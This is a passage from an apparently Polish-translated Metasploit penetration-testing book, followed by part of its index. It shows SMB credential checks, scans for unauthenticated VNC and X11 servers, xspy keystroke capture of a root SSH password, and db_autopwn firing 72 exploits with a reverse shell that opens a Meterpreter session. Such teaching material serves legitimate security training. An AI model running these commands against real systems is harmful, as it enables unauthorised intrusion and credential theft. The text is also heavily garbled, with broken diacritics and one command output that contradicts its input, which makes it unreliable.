za pomoc� polecenia nessus_report_list. Znajd� ID raportu, który chcesz
zaimportowa�, a nast�pnie u�yj polecenia nessus_report_get, aby pobra�
i automatycznie zaimportowa� wybrany raport do bazy danych Metasploit.

msf > nessus_report_list
[+] Nessus Report List

ID                                                    Name         Status     Date
--                                                    ----         ------     ----
074dc984-05f1-57b1-f0c9-2bb80ada82fd3758887a05631c1d  Host_195     completed  19:43
�Mar 08 2011
d2f1fc02-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e  bridge_scan  completed  09:37
�Mar 09 2011
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[*] You can:
[*] Get a list of hosts from the report: nessus_report_hosts <report id>
msf > nessus_report_get d2f1fc02-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e
[*] importing d2f1fc02-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e
[*] 192.168.1.195 Microsoft Windows XP Professional (English)  Done!
[+] Done

 9. Na koniec, podobnie jak w przypadku pozosta	ych funkcji importowania
opisanych w tym rozdziale, mo�esz zastosowa� polecenie db_hosts, �eby
zweryfikowa�, czy dane dotycz�ce skanowania zosta	y poprawnie
zaimportowane:

msf > db_hosts -c address,svcs,vulns

Hosts
=====
address        svcs  vulns
-------        ----  -----
192.168.1.195  18    345

Teraz, kiedy zapozna	e� si� ju� ze zmienno�ci� wyników skanowania dwóch
ró�nych produktów, powiniene� lepiej zrozumie� sens stosowania wi�cej ni�
jednego narz�dzia dla potrzeb skanowania luk w zabezpieczeniach. Wci�� jednak
to od pentestera zale�y interpretacja wyników generowanych przez te zauto-
matyzowane narz�dzia i przekszta	cenie tych wyników w dane decyzyjne.

Wyspecjalizowane skanery luk
w zabezpieczeniach

Chocia� na rynku dost�pnych jest wiele komercyjnych skanerów luk w zabez-
pieczeniach, nie musisz si� do nich ogranicza�. Je�li chcesz wykona� skanowa-
nie poprzez sie� w poszukiwaniu konkretnych luk w zabezpieczeniach, to mo-
�esz skorzysta� z licznych modu	ów pomocniczych Metasploit.

Przedstawione poni�ej modu	y Metasploit stanowi� tylko kilka przyk	adów
spo�ród wielu u�ytecznych pomocniczych modu	ów skanowania za	�czonych
w tym frameworku. Wykorzystaj swoje laboratorium testowe do wypróbowania
i zbadania tak wielu z nich, jak to mo�liwe.

Potwierdzanie logowania SMB
Aby sprawdzi� poprawno�� kombinacji nazwy u�ytkownika i has	a, skorzystaj ze
skanera SMB Login Check Scanner do po	�czenia si� z wieloma hostami. Jak
pewnie si� spodziewasz, takie skanowanie jest g	o�ne i zauwa�alne, a ka�da próba
logowania zostanie zapisana w dzienniku zdarze� ka�dej maszyny z systemem
Windows, która zostanie napotkana.
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Po wybraniu modu	u smb_login za pomoc� polecenia use mo�esz zastosowa�
polecenie show_options, aby sprawdzi� ustawienia, które znajduj� si� w kolumnie
Required. Metasploit pozwala zdefiniowa� kombinacj� nazwy u�ytkownika i has	a,
poda� list� nazw u�ytkownika i hase	 lub te� zastosowa� obie te opcje jednocze�nie.
W kolejnym przyk	adzie zdefiniowano niewielki zakres adresów IP dla opcji
RHOSTS oraz skonfigurowano sprawdzanie okre�lonej nazwy u�ytkownika i has	a
dla wszystkich adresów.

msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > show options

Module options:
   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   PASS_FILE                       no        File containing passwords, one per line
   RHOSTS                          yes       The target address range or CIDR identifier
   RPORT          445              yes       Set the SMB service port
   SMBDomain      WORKGROUP        no        SMB Domain
   SMBPass        password         no        SMB Password
   SMBUser        Administrator    no        SMB Username
   THREADS        50               yes       The number of concurrent threads
   USERPASS_FILE                   no        File containing users and passwords separated
                                             �by space, one pair per line
   USER_FILE                       no        File containing usernames, one per line

msf auxiliary(smb_login) > set RHOSTS 192.168.1.150-155
RHOSTS => 192.168.1.170-192.168.1.175
msf auxiliary(smb_login) > set SMBUser Administrator
SMBUser => Administrator
msf auxiliary(smb_login) > set SMBPass s3cr3t
SMBPass => s3cr3t
msf auxiliary(smb_login) > run
[*] Starting host 192.168.1.154
[*] Starting host 192.168.1.150
[*] Starting host 192.168.1.152
[*] Starting host 192.168.1.151
[*] Starting host 192.168.1.153
[*] Starting host 192.168.1.155

� [+] 192.168.1.155 - SUCCESSFUL LOGIN (Windows 5.1) 'Administrator' : 's3cr3t'
[*] Scanned 4 of 6 hosts (066% complete)
[*] Scanned 5 of 6 hosts (083% complete)
[*] Scanned 6 of 6 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_login) >

W punkcie � mo�esz zobaczy� skuteczne logowanie dla u�ytkownika Admi-
nistrator z has	em s3cr3t. Poniewa� w wielu �rodowiskach korporacyjnych sta-
cje robocze s� klonowane z jednego obrazu i wdra�ane w ca	ej infrastrukturze
przedsi�biorstwa, has	o administratora mo�e równie� by� takie samo dla ka�dej
z nich, co daje Ci dost�p do wszystkich stacji roboczych w danej sieci.
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Skanowanie w poszukiwaniu otwartego uwierzytelniania VNC
System przekazywania obrazu zwany VNC (ang. virtual network computing)
umo�liwia graficzny dost�p do zdalnych systemów w sposób zbli�ony do pulpitu
zdalnego Microsoftu. Instalacje VNC s� powszechnie stosowane w korporacjach,
poniewa� zapewniaj� podgl�d interfejsu graficznego pulpitów serwera i stacji
roboczych. Cz�sto instaluje si� VNC na potrzeb� chwili, a pó�niej zapomina si�
o tej instalacji, pozostawiaj�c j� bez aktualizacji, co tworzy powa�n� potencjaln�
luk� w zabezpieczeniach. Wbudowany w Metasploit skaner VNC Authentication
None przeszukuje zakres adresów IP w poszukiwaniu serwerów VNC, które nie
posiadaj� skonfigurowanego has	a (brak uwierzytelniania, czyli puste has	o). Zazwy-
czaj takie skanowanie nie przynosi �adnych efektów, jednak dobry pentester wy-
korzystuje wszystkie mo�liwo�ci uzyskania dost�pu do systemu docelowego.

UWAGA Najnowsze serwery VNC nie dopuszczaj� stosowania pustych hase�. Dla celów
testowych powiniene� wykorzysta� starsz� wersj�, na przyk�ad RealVNC 4.1.1.

Skaner VNC, tak jak wi�kszo�� modu	ów pomocniczych Metasploit, jest 	atwy
do skonfigurowania i uruchomienia. Jedyna wymagana konfiguracja dla vnc_none_auth
to podanie adresu IP lub zakresu adresów IP, które maj� by� przeskanowane. Po pro-
stu wybierz dany modu	, okre�l w razie potrzeby opcje RHOSTS oraz THREADS i uru-
chom skanowanie, tak jak pokazuje to kolejny przyk	ad.

msf > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > show options

Module options:
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    5900             yes       The target port
   THREADS  1                yes       The number of concurrent threads

msf auxiliary(vnc_none_auth) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(vnc_none_auth) > run

[*] 192.168.1.155:5900, VNC server protocol version : RFB 003.008
[*] 192.168.1.155:5900, VNC server security types supported : None

� [*] 192.168.1.155:5900, VNC server security types includes None, free access!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(vnc_none_auth) >

Je�li b�dziesz mia	 szcz��cie i Metasploit znajdzie serwer VNC bez uwie-
rzytelniania, taki jak ten w punkcie �, to mo�esz skorzysta� z narz�dzia vncviewer
systemu Back|Track, aby po	�czy� si� z docelow� maszyn� bez konieczno�ci
podawania has	a. Pokazuje to rysunek 4.18.
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Rysunek 4.18. Zastosowanie narz�dzia vncviewer do po��czenia si� z VNC
niewymagaj�cym uwierzytelniania

Je�li uwa�asz, �e skanowanie VNC mo�e by� strat� czasu i nigdy nie znaj-
dziesz systemów z otwartymi serwerami VNC, to powiniene� przemy�le� to
jeszcze raz. Podczas szeroko zakrojonego testu penetracyjnego obejmuj�cego
tysi�ce systemów jeden z autorów zauwa�y	 system z otwartym serwerem VNC.

B�d�c zalogowanym do tego systemu i dokumentuj�c swoje odkrycie, autor
zauwa�y	 w pewnym momencie aktywno�� w tym systemie. Dzia	o si� to noc�,
a dany system nie powinien by� wtedy wykorzystywany przez �adnego upraw-
nionego u�ytkownika. Cho� nie jest to z regu	y uwa�ane za dobr� praktyk�, au-
tor podszy	 si� pod innego nieuprawnionego u�ytkownika i zainicjowa	 rozmow�,
wykorzystuj�c do tego celu aplikacj� Notatnik. Intruz nie by	 zbyt bystry i wyjawi	
autorowi, �e skanowa	 du�e grupy systemów pod k�tem otwartych serwerów VNC.
Oto fragment tej rozmowy (zachowano pisowni� oryginaln�):

Autor: Jeste� teraz w USA czy poza krajem? Mam znajomych w danii.

Intruz: W	a�ciwie to jestem z Norwegii, hehe. Mam krewnych w Danii.

Autor: Uczestniczysz w jakich� forach? korzysta	em z kilku ale ju� nie dzia	aj�

Intruz: Przewa�nie w programistycznych, ale niewiele poza tym. Od dawna
zajmujesz si� hakowaniem? Ile masz lat tak w ogóle? Ja mam 22.

Autor: Robi� to dla zabawy tak mniej wi�cej od roku. Chodz� jeszcze do
szko	y, mam 16 lat. Po prostu szuka	em jakiego� zaj�cia.

Intruz: Ja te� g	ównie robi� to dla zabawy i próbuj� si� sprawdzi�. Poza tym
sam napisa	em taki program „VNC finder”. Znalaz	em mnóstwo serwerów,
ale tylko ten dostarczy	 mi nieco rozrywki

Autor: Nie�le. W czym go napisa	e�? Mo�na go sk�d� pobra�? Masz uchwyt pliku?

Intruz: Napisa	em go w j�zyku, który nazywa si� PureBasic, ale nie jest jeszcze
gotowy do publikacji. U�ywam go tylko na w	asne potrzeby. Ale w sumie mog�
go udost�pni�. Móg	bym gdzie� zamie�ci� kod, �eby� go sobie skompilowa	.
Je�li tylko znajdziesz jaki� kompilator PureBasica na stronach warezowych :P

Autor: Super. Mo�esz go wrzuci� przez irc na t� stron� pastebin. Tak mo�esz
posta opublikowa�. Nie robi	em wcze�niej nic w purebasic, tylko python i perl

Intruz: Poszukam tej strony pastebin i za	aduje go, daj mi kilka minut. Odezw� si�.

Intruz poda	 w ko�cu autorowi link do strony pastebin z pe	nym kodem
�ród	owym skanera VNC, którego u�ywa	.
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Skanowanie w poszukiwaniu otwartych serwerów X11
Zintegrowany z Metasploit skaner open_x11 jest zbli�ony do skanera vnc_auth.
Przeszukuje on zakres hostów w poszukiwaniu serwerów X11, które umo�li-
wiaj� u�ytkownikom 	�czenie si� bez uwierzytelniania. Chocia� serwery X11 nie
s� ju� dzisiaj powszechnie wykorzystywane, to znajdzie si� wiele dzia	aj�cych
archaicznych maszyn posiadaj�cych stare, nieza	atane i zapomniane systemy
operacyjne. Jak mog	e� zauwa�y� w poprzednich dwóch przyk	adach, starsze
systemy s� cz�sto najbardziej zagro�one w ka�dej sieci.

Aby uruchomi� skaner open_x11, musisz wykona� podobn� konfiguracj� jak
w przypadku wi�kszo�ci pozosta	ych modu	ów pomocniczych, definiuj�c warto��
RHOST oraz opcjonalnie THREADS. Kolejny przyk	ad ilustruje sesj� tego skanera.
Zwró� uwag�, �e skaner znalaz	 otwarty serwer X pod adresem IP 192.168.1.23.
Jest to powa�na luka w zabezpieczeniach, poniewa� umo�liwia osobie przepro-
wadzaj�cej atak uzyskanie nieuwierzytelnionego dost�pu do danego systemu:
system X obs	uguje interfejs graficzny wraz z myszk� i klawiatur�.

msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > show options

Module options:
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    6000             yes       The target port
   THREADS  1                yes       The number of concurrent threads

msf auxiliary(open_x11) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(open_x11) > set THREADS 50
THREADS => 50
msf auxiliary(open_x11) > run
[*] Trying 192.168.1.1
[*] Trying 192.168.1.0
[*] Trying 192.168.1.2...
[*] Trying 192.168.1.29
[*] Trying 192.168.1.30
[*] Open X Server @ 192.168.1.23 (The XFree86 Project, Inc)
[*] Trying 192.168.1.31
[*] Trying 192.168.1.32

. . . fragment usuni�ty . . .

[*] Trying 192.168.1.253
[*] Trying 192.168.1.254
[*] Trying 192.168.1.255
[*] Auxiliary module execution completed
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�eby zobaczy�, co osoba atakuj�ca mo�e zrobi� z tak� luk� w zabezpiecze-
niach, uruchom rejestrowanie klawiatury, wykorzystuj�c narz�dzie xspy systemu
Back|Track. Robi si� to w nast�puj�cy sposób:

root@bt:/# cd /pentest/sniffers/xspy/
root@bt:/pentest/sniffers/xspy# ./xspy -display 192.168.1.23:0 -delay 100

ssh root@192.168.1.11(+BackSpace)37
sup3rs3cr3tp4s5w0rd
ifconfig
exit

Narz�dzie xspy dzi�ki zdalnemu pods	uchiwaniu sesji klawiatury serwera X
umo�liwi	o przechwycenie u�ytkownika wykorzystuj�cego SSH do zalogowania
si� jako root na zdalnym systemie. Tego typu luki w zabezpieczeniach mog� by�
do�� rzadkie, jednak je�li ju� je odkryjesz, s� niezwykle cenne.

Wykorzystywanie wyników skanowania
do autopwningu

Przejd�my teraz na chwil� do eksploatacji. Narz�dzie Autopwn frameworku
Metasploit automatycznie namierza i eksploatuje system, wykorzystuj�c otwarte
porty lub zaimportowane wyniki skanowania luk w zabezpieczeniach. Mo�esz
zastosowa� Autopwn do wykorzystania wyników wi�kszo�ci skanerów luk w za-
bezpieczeniach, takich jak NeXpose, Nessus czy OpenVAS.

Oto przyk	ad wykorzystania zaimportowanych wyników Nessusa do namie-
rzenia i automatycznego przej�cia (ang. autopwn) systemu. Utwórz now� baz�
danych za pomoc� polecenia db_connect, a nast�pnie zaimportuj raport ze ska-
nowania, stosuj�c polecenie db_import. W tym przyk	adzie uruchomimy
db_autopwn z szeregiem prze	�czników, aby przeprowadzi� ataki na wszystkie
cele (e), pokaza� wszystkie pasuj�ce modu	y (t), zastosowa� 	adunek reverse
shell (r), wybra� modu	y exploitów na podstawie luk w zabezpieczeniach (x)
oraz na podstawie otwartych portów (p). Po uruchomieniu db_autopwn Meta-
sploit rozpoczyna odpalanie exploitów do okre�lonych celów. Je�li dzia	anie
exploita przyniesie skutek, to zwracana jest pow	oka do maszyny atakuj�cej.

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import /root/nessus.nbe
msf > db_autopwn –e –t –r -x -p

� [*] (1/72 [0 sessions]): Launching exploit/windows/mssql/ms09_004_sp_replwritetovarbin
       �against 192.168.33.130:1433...
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[*] (2/72 [0 sessions]): Launching exploit/windows/smb/psexec against
    �192.168.33.130:445...
[*] (3/72 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against
    �192.168.33.130:445...

. . . fragment usuni�ty . . .

[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)

� [*] Meterpreter session 1 opened (192.168.1.101:40912 -> 192.168.1.115:15991)
[*] (72/72 [1 sessions]): Waiting on 2 launched modules to finish execution...
[*] (72/72 [1 sessions]): Waiting on 0 launched modules to finish execution...

Na podstawie tych skanowa� Autopwn odpali	 72 exploity w punkcie �.
Jeden z nich okaza	 si� skuteczny, co wida� w punkcie �. Exploit ten umo�liwia
pe	ny dost�p do danej maszyny z wykorzystaniem konsoli Meterpretera, która
zostanie bardziej szczegó	owo omówiona w rozdziale 6.

UWAGA Istnieje jedno istotne ograniczenie, o którym powiniene� pami�ta�, stosuj�c na-
rz�dzie Autopwn. Je�li przeprowadzasz zmasowany atak za pomoc� Autopwn, to
system docelowy mo�e ulec awarii lub utraci� stabilno��. Autopwn posiada jed-
nak kilka u�ytecznych funkcji, które nie zosta�y tutaj opisane. Nale�y do nich
mo�liwo�� wyboru jedynie tych exploitów, które posiadaj� ranking „doskona�y”,
co znacznie zmniejsza prawdopodobie	stwo, �e spowoduj� one awari� zdalnego
systemu lub us�ugi. Aby uzyska� wi�cej informacji na temat wykorzystania tego
narz�dzia, u�yj polecenia db_autopwn –h.
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261

V
VMware Player, 332
VMware Server, 332
VNC, virtual network

computing, 86

W
warto�� skrótu, hash values, 118
wektor ataku, attack vector, 180

spear-phishing, 181
Teensy USB HID, 204
wieloaspektowego, 199

wektory ataków WWW, Web
attack vectors, 187

wi�zanie, bind, 133
wielokrotne

kodowanie, multi-encoding,
144

zapytania, 203
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wiersz polece�, 36
wstrzykiwanie r�czne, 213
wstrzykni�cie

agenta, 133
kodu SQL, 210
ramki iframe, 193
zapytania SQL, SQL

injection, 29
wtyczka

Nessus Bridge, 81
--script=smb-check-vulns,

100
sounds, 108

wykrywanie
b	�dów, 168
	adunku, 142
otwartych portów, 314
wersji systemu, 112

wyniki skanowania, 67
wyodr�bnienie skrótów, 120
wyszukiwanie whois, 44, 45
wy�wietlanie komunikatów, 300
wywo	ania API, 137, 301

Z
zabezpieczenie DEP, 100
zacieranie �ladów, 327
zainfekowane no�niki danych,

204
zainfekowany plik PDF, 186
zakres

adresów, 53
portów, 107

zamiatanie SNMP, 60
zapytania sparametryzowane,

212
zatruwanie pami�ci podr�cznej,

224
zbieranie

informacji, intelligence
gathering, 26, 64, 314
aktywne, 47
pasywne, 44
po�rednie, 44

nazw u�ytkowników, 194
po�wiadcze�, harvesting,

194, 232
zdalne wykonywanie kodu, 266
zestaw instrukcji JMP, 272
zjazd, slide, 272
z	e znaki, bad characters, 266

z	o�liwa
kontrolka ActiveX, 235
strona, 191

z	o�liwe
e-maile, 152
oprogramowanie, malware,

327
pliki, 163

z	o�liwy
aplet Javy, 187, 203
bufor, 276
link, 152
serwer WWW, 198

zmiana formatu, 222
zmienna cmd, 241
znak

apostrofu, 316
pionowej kreski, 63

znaki CRLF, 246
zrandomizowany bufor, 281
zrzut ekranu

pulpitu, 117
z maszyny docelowej, 202

zwi�kszanie uprawnie�, 123,
163
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